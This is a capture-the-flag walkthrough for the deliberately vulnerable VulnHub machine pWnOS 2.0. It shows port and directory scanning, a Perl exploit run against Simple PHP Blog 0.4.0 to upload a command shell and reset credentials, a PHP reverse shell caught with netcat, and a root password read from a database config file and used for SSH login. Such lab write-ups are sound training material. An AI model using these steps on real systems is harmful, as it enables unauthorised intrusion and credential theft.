

pWnOS: 2.0

pWnOS is a boot to root virtual machine which is on [vulnhub](https://vulnhub.com).

Description:

pWnOS v2.0 is a Virtual Machine Image which hosts a server to practice penetration testing. It will test your ability to exploit the server and contains multiple entry points to reach the goal (root). It was designed to be used with VMWare Workstation 7.0, but can also be used with most other virtual machine software.

Identify IP Address of the machine:

The machine has a static ip address 10.10.10.100

Nmap :

```
root@PREDATOR:~/vulnhub/pwnos2# nmap -A -T4 -p- -oN nmap 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up (0.00032s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
| 2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_ 256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp    open  http     Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags:
| /:
|   PHPSESSID:
|_   httponly flag not set
|_ http-server-header: Apache/2.2.17 (Ubuntu)
|_ http-title: Welcome to this Site!
MAC Address: 08:00:27:5C:9A:BF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32 - 2.6.39
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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TRACEROUTE
HOP RTT  ADDRESS
1  0.32 ms 10.10.10.100
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done at Fri Oct 4 08:22:28 2019 -- 1 IP address (1 host up) scanned in 9.86 seconds

Enumeration :

Enumerating port 80 we see a welcome page and some login and register buttons. When we register it and try to log in we are redirected to login.php page with a welcome header and logging in text so nothing here, this might be a rabbit hole.

When we use dirsearch on 10.10.10.100 we find some interesting pages.

```
root@PREDATOR:~/vulnhub/pwnos2# dirsearch -u http://10.10.10.100/ -e / -x 403
```

Target: http://10.10.10.100/

```
[09:21:18] Starting:
[09:21:18] 200 - 854B - /
[09:21:20] 301 - 311B - /blog -> http://10.10.10.100/blog/
[09:21:21] 301 - 315B - /includes -> http://10.10.10.100/includes/
[09:21:21] 200 - 1KB - /includes/
[09:21:21] 200 - 854B - /index
[09:21:22] 200 - 854B - /index.php
[09:21:22] 200 - 854B - /index.php/login/
[09:21:22] 200 - 51KB - /info
[09:21:22] 200 - 51KB - /info.php
[09:21:22] 200 - 1KB - /login
[09:21:22] 200 - 1KB - /login.php
[09:21:22] 200 - 1KB - /login/admin/
[09:21:22] 200 - 1KB - /login/
[09:21:22] 200 - 1KB - /login/admin/admin.asp
[09:21:22] 200 - 1KB - /login/administrator/
[09:21:22] 200 - 1KB - /login/cpanel/
[09:21:22] 200 - 1KB - /login/cpanel./
[09:21:22] 200 - 1KB - /login/login
[09:21:22] 200 - 1KB - /login/index
[09:21:22] 200 - 1KB - /login/oauth/
[09:21:22] 200 - 1KB - /login/super
[09:21:23] 200 - 2KB - /register
[09:21:23] 200 - 2KB - /register.php
```

When we visit <http://10.10.10.100/blog> we are offered a different page. Here i saw another login page tried credentials that we created previously and we are not able to log in.

I also ran another dirsearch on /blog directory.

```
root@PREDATOR:~/vulnhub/pwnos2# dirsearch -u http://10.10.10.100/blog -e / -x 403
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Extensions: / | HTTP method: get | Threads: 10 | Wordlist size: 6084

Error Log: /root/DATA/dirsearch/logs/errors-19-10-04_09-20-48.log

Target: http://10.10.10.100/blog

[09:20:48] Starting:

```
[09:20:48] 200 - 8KB - /
[09:20:49] 302 - 0B - /blog/add.php -> http://10.10.10.100/blog/index.php
[09:20:49] 302 - 0B - /blog/add -> http://10.10.10.100/blog/index.php
[09:20:50] 200 - 1KB - /blog/atom
[09:20:51] 302 - 0B - /blog/categories -> http://10.10.10.100/blog/index.php
[09:20:51] 302 - 0B - /blog/comments -> http://10.10.10.100/blog/index.php
[09:20:51] 301 - 318B - /blog/config -> http://10.10.10.100/blog/config/
[09:20:51] 200 - 1KB - /blog/config/
[09:20:51] 301 - 319B - /blog/content -> http://10.10.10.100/blog/content/
[09:20:51] 200 - 6KB - /blog/contact
[09:20:51] 302 - 0B - /blog/delete.php -> http://10.10.10.100/blog/index.php
[09:20:51] 301 - 316B - /blog/docs -> http://10.10.10.100/blog/docs/
[09:20:51] 200 - 2KB - /blog/docs/
[09:20:52] 301 - 317B - /blog/flash -> http://10.10.10.100/blog/flash/
[09:20:52] 301 - 318B - /blog/images -> http://10.10.10.100/blog/images/
[09:20:52] 200 - 8KB - /blog/index
[09:20:52] 200 - 8KB - /blog/index.php
[09:20:52] 200 - 8KB - /blog/index.php/login/
[09:20:52] 302 - 0B - /blog/info -> http://10.10.10.100/blog/index.php
[09:20:52] 302 - 0B - /blog/info.php -> http://10.10.10.100/blog/index.php
[09:20:52] 301 - 321B - /blog/languages -> http://10.10.10.100/blog/languages/
[09:20:52] 200 - 6KB - /blog/login
[09:20:52] 200 - 6KB - /blog/login.php
[09:20:52] 200 - 6KB - /blog/login/login
[09:20:52] 200 - 6KB - /blog/login/super
[09:20:52] 200 - 6KB - /blog/login/admin/
[09:20:52] 200 - 6KB - /blog/login/administrator/
[09:20:52] 200 - 6KB - /blog/login/cpanel./
[09:20:52] 200 - 6KB - /blog/login/
[09:20:52] 200 - 6KB - /blog/login/index
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[09:20:52] 200 - 6KB - /blog/login/oauth/
[09:20:52] 200 - 6KB - /blog/login/cpanel/
[09:20:52] 200 - 6KB - /blog/login/admin/admin.asp
[09:20:52] 302 - 0B - /blog/logout/ -> http://10.10.10.100/blog/index.php
[09:20:52] 302 - 0B - /blog/logout -> http://10.10.10.100/blog/index.php
[09:20:53] 200 - 1KB - /blog/rss
[09:20:53] 301 - 319B - /blog/scripts -> http://10.10.10.100/blog/scripts/
[09:20:53] 200 - 6KB - /blog/scripts/
[09:20:54] 302 - 0B - /blog/setup -> http://10.10.10.100/blog/index.php
[09:20:54] 302 - 0B - /blog/setup/ -> http://10.10.10.100/blog/index.php
[09:20:54] 302 - 0B - /blog/setup.php -> http://10.10.10.100/blog/index.php
[09:20:54] 302 - 0B - /blog/static -> http://10.10.10.100/blog/index.php
[09:20:54] 301 - 318B - /blog/themes -> http://10.10.10.100/blog/themes/
[09:20:54] 302 - 0B - /blog/trackback -> http://10.10.10.100/blog/index.php
[09:20:54] 302 - 0B - /blog/upgrade -> http://10.10.10.100/blog/index.php
[09:20:54] 302 - 0B - /blog/upgrade.php -> http://10.10.10.100/blog/index.php
[09:20:54] 200 - 5KB - /blog/search
[09:20:55] 200 - 5KB - /blog/stats/
[09:20:55] 200 - 5KB - /blog/stats
```

In docs directory found that simple php blog 0.4.0 is running on it
a quick google search and we found a exploit for it

<https://www.exploit-db.com/exploits/1191>

when we run the exploit using command

```
root@PREDATOR:~/vulnhub/pwnos2# perl 1191.pl -h http://10.10.10.100/blog/ -e 1
```

and visit <http://10.10.10.100/blog/images/> we find our cmd.php uploaded there
but i was not able to get reverse connection from there so i set new username
and password using

```
root@PREDATOR:~/vulnhub/pwnos2# perl 1191.pl -h http://10.10.10.100/blog/ -e 3 -U sudocj -P  
sudocj
```

and then i log in using username sudocj and password sudocj
after we log in we find a upload image section in which i uploaded my php-reverse-
shell and got user www-data

```
root@PREDATOR:~/vulnhub/pwnos2# nc -nlvp 445
listening on [any] 445 ...
connect to [10.10.10.1] from (UNKNOWN) [10.10.10.100] 54556
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64
x86_64 GNU/Linux
01:19:54 up 2:28, 1 user, load average: 1.05, 1.04, 1.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 10.10.10.1 23:23 1:49m 0.09s 0.09s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
/bin/sh: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@web:/$ whoami
www-data
www-data@web:/$
```

Post-Enumeration:

After getting user shell looked for some files (following [this](#) blog)

and found a suspicious file under /var named **mysqli_connect.php**

when we cat this file we get some text which also contain root password

```
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:
```

and finally ssh root user using

```
root@PREDATOR:~/vulnhub/pwnos2# ssh root@10.10.10.100
root@10.10.10.100's password:
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)

* Documentation: http://www.ubuntu.com/server/doc

System information disabled due to load higher than 1.0
Last login: Thu Oct 3 23:23:11 2019 from 10.10.10.1
root@web:~# whoami
root
```

and we are root :-)